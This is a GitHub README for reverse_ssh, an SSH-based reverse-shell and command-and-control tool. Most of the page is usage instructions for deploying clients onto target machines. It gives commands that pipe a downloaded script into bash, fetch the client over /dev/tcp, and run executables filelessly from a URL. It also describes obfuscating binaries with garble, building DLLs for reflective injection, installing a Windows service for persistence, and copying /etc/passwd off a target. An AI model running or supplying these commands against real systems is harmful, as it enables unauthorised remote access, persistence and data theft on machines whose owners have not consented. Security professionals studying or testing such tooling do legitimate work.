- Notifications
You must be signed in to change notification settings - Fork151
NHAS/reverse_ssh
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
(Art credit tohttps://www.instagram.com/smart.hedgehog.art/)
Want to use SSH for reverse shells? Now you can.
- Manage and connect to reverse shells with native SSH syntax
- Dynamic, local and remote forwarding
- Native
SCPandSFTPimplementations for retrieving files from your targets - Full windows shell
- Multiple network transports, such as
http,websockets,tlsand more - Mutual client & server authentication to create high trust control channelsAnd more!
+----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------++---------+ | | || | | | || Human | SSH | | SSH | +---------+| Client +-------->+ <-----------------+ || | | | | | RSSH |+---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+Example.mp4
- Reverse SSH
- TL;DR
- Sponsors
- Fancy Features
- Privileges
- Automatic connect-back
- Reverse shell download (client generation and in-built HTTP server)
- Alternate Transports (HTTP/Websockets/TLS)
- Bash autocomplete
- Windows DLL Generation
- SSH Subsystems
- Windows Service Integration
- Full Windows Shell Support
- Webhooks
- Tun (VPN)
- Fileless execution (Clients support dynamically downloading executables to execute as shell)
- Help
- Donations, Support, or Giving Back
The docker release is recommended as it includes the right version of golang, and a cross compiler for windows.
# Start the serverdocker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
or docker compose:
services:reversessh:image:reversessh/reverse_sshports: -"3232:2222"environment: -EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -RSSH_CONSOLE_LABEL=c2.label -RSSH_LOG_LEVEL=INFO# DISABLED, INFO, WARNING, ERROR, FATAL -SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}volumes: -./data:/data
# Connect to the server consolessh your.rssh.server.internal -p 3232# List all server console commandscatcher$help# Build a new client and host it on the in-built webservercatcher$ linkhttp://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25# curl or wget this binary to a target system then execute it,curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh| bash# then we can then list what clients are connectedcatcher$ ls Targets+------------------------------------------+-----------------------------------+| IDs| Version|+------------------------------------------+-----------------------------------+| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e| SSH-v2.2.3-1-gdf5a3f8-linux_amd64|| fe6c52029e37185e4c7d512edd67a6c7694e2995||| dummy.machine||| 192.168.0.11:34542||+------------------------------------------+-----------------------------------+
All commands support the-h flag for giving help.
Then typical ssh commands work, just specify your rssh server as a jump host.
# Connect to full shellssh -J your.rssh.server.internal:3232 dummy.machine# Start remote forwardssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine# Start dynamic forwardssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine# SCPscp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd.
A huge thanks to the following folk for donating to the RSSH project and making all this work possible!
chikamobina for their generous donations!
wrighterase (ctrlzero) for their pull requests and donation!
Carapace is a New Zealand based security consultancy with an extremely talented team of folk!
The RSSH server supports very basic user privileges, where users found in thedata-directory/keys (specified by--datadir) folder e.gdata-directory/keys/jim will be assigned as a "user" only able to see clients that are public (found in the authorized_controllee_keys file without anowners tag, or an emptyowners tag) or specifically assigned to them, e.gowners="jim".
This can be changed at run time via an user sharing access to a client they own with theaccess command, or a server administrator. Defaultly, any public key found in theauthorized_keys file will be marked as an administrator to retain backwards compatibility.Any changes made by theaccess command will not persist server reboot, and this will require editing theauthorized_controllee_keys file for that specific client.
The rssh client allows you to bake in a connect back address.By default thelink command will bake in the servers external address.
If you're (for some reason) manually building the binary, you can specify the environment variableRSSH_HOMESERVER to bake it into the client:
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make# Will connect to your.rssh.server.internal:3232, even though no destination is specified$ bin/client# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232$ bin/client -d example.com:3232
The RSSH server can build and host client binaries (link command). Which is the preferred method for building and serving clients.For function to work the server must be placed in the projectbin/ folder, as it needs to find the client source.
By default thedocker release has this all built properly, and is recommended for use
ssh your.rssh.server.internal -p 3232catcher$ link -hlink [OPTIONS]Link will compile a client and serve the resulting binary on a link which is returned.This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (notset by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compressionfor smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentialsin format DOMAIN\\USER:PASS --owners Set owners of client,ifunset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS isin use,set a custom SNIfor the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directoryfor automatic script (i.e doing curl https://<url>.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client,ifunset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_addressif set, or server listen addressif not# Generate a client and serve it on a named linkcatcher$ link --nametesthttp://your.rssh.server.internal:3232/test
Then you can download it as follows:
wget http://your.rssh.server.internal:3232/testchmod +xtest./testOr you can use raw tcp to download the client binary:
bash -c"exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3">test
The format for this is justRAW followed by the filename, i.e in this casetest, rssh can autogenerate this for you with--raw-download.
The RSSH server also supports.sh,.py and.ps1 URL path endings which will generate a script you can pipe into an intepreter:
curl http://your.rssh.server.internal:3232/test.sh| shThe reverse SSH server and client both support multiple transports for when deep packet inspection blocks SSH outbound from a host or network.You can either specify the connect back scheme manually by specifying it as a url in the client.
E.g
./client -d ws://your.rssh.server:3232
Or by baking it in with thelink command.
ssh your.rssh.server -p 3232 link --ws --nametestThe RSSH server has theautocomplete command which integrates nicely with bash so that you can have autocompletions when not using the server console.To install them you simply do:
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
And this will return an autocompletion that can be added to your.zshrc or.bashrc
E.g
_RSSHCLIENTSCOMPLETION(){local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=($(compgen -W"$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" --$cur) )}_RSSHFUNCTIONSCOMPLETIONS(){local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=($(compgen -W"$(ssh your.rssh.server.internal -p 3232help -l)" --$cur) )}complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232execcomplete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connectcomplete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -ccomplete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232kill
Enabling you to do completions straight from your terminal:
# Will give you an option based on what clients are connectedssh -J your.rssh.server.internal:3232<TAB>
You can compile the client as a DLL to be loaded with something likeInvoke-ReflectivePEInjection. Which is useful when you want to do fileless injection of the rssh client.
This will need a cross compiler if you are doing this on linux, usemingw-w64-gcc, this is included in the docker release.
# Using the link commandcatcher$ link --goos windows --shared-object --name windows_dllhttp://your.rssh.server.internal:3232/windows_dll# If building manuallyCC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
The SSH protocol supports calling subsystems with the-s flag. In RSSH this is repurposed to provide special commands for platforms, andsftp support.
list Lists avaiable subsystemsftp: Runs the sftp handler to transfer files
setgid: Attempt to change groupsetuid: Attempt to change user
service: Installs or removes the rssh binary as a windows service, requires administrative rights
e.g
# Install the rssh binary as a service (windows only)ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --installThe client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.
Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of.This project usesconpty on newer versions of windows, and thewinpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.
The RSSH server can send out raw HTTP requests set using thewebhook command from the terminal interface.
First enable a webhook:
$ ssh your.rssh.server.internal -p 3232catcher$ webhook --on http://localhost:8080/
Then disconnect, or connect a client, this will when issue aPOST request with the following format.
$ nc -l -p 8080POST /rssh_webhook HTTP/1.1Host: localhost:8080User-Agent: Go-http-client/1.1Content-Length: 165Content-Type: application/jsonAccept-Encoding: gzip{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%As an additional note, please use the/slack endpoint if connecting this to discord.
RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward (-L,-R), but in this mode you can send UDP and ICMP.
First set up a tun (layer 3) device on your local machine.
sudo ip tuntap add dev tun0 mode tunsudo ip linkset dev tun0 up# This will defaultly route all non-local network traffic through the tunnelsudo ip route add 0.0.0.0/0 dev tun0
Install a client on a remote machine, this will not work if you have your RSSH client on the same host as your tun device.
ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
This has some limitations, it is only able to sendUDP/TCP/ICMP, and not arbitrary layer 3 protocols.ICMP is best effort and may use the remote hostsping tool, as ICMP sockets are privileged on most machines. This also does not supporttap devices, e.g layer 2 VPN, as this would require administrative access.
When specifying what executable the rssh binary should run, either when connecting with a full PTY session or raw execution the client supports URI schemes to download offhost executables.
For example.
connect --shell https://your.host/program<rssh_client_id>ssh -J your.rssh.server:3232<rssh_client_id> https://your.host/program
http/https: Pure web downloading
rssh: Download via the rssh serverThe rssh server will serve content from thedownloads directory in the executables working directory.
Both of these methods will opportunistically usememfd which will not write any executables to disk.
Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'Note the/ before the starting character.
If the client binary was generated with thelink command this client has the server public key fingerprint baked in by default. If you lose your server private key, the clients will no longer be able to connect.You can also generate clients withlink --fingerprint <fingerprint here> to specify a fingerprint, there isnt currently a way to disable this as per version 1.0.13.
By default, clients will run in the background then the parent process will exit, the child process will be given the parent processes stdout/stderr so you will be able to see output. If you need to debug your client, use the--foreground flag.
The easiest way to give back to the RSSH project is by finding bugs, opening feature requests and word-of-mouth advertising it to people you think will find it useful!
However, if you want to give something back to me directly, you can do so either through Kofi or Github Sponsors (under "Sponsor this Project" on the right hand side).Or donate to me by sending to the either of the following wallets:
Monero (XMR):8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPNDBitcoin (BTC):bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr
About
SSH based reverse shell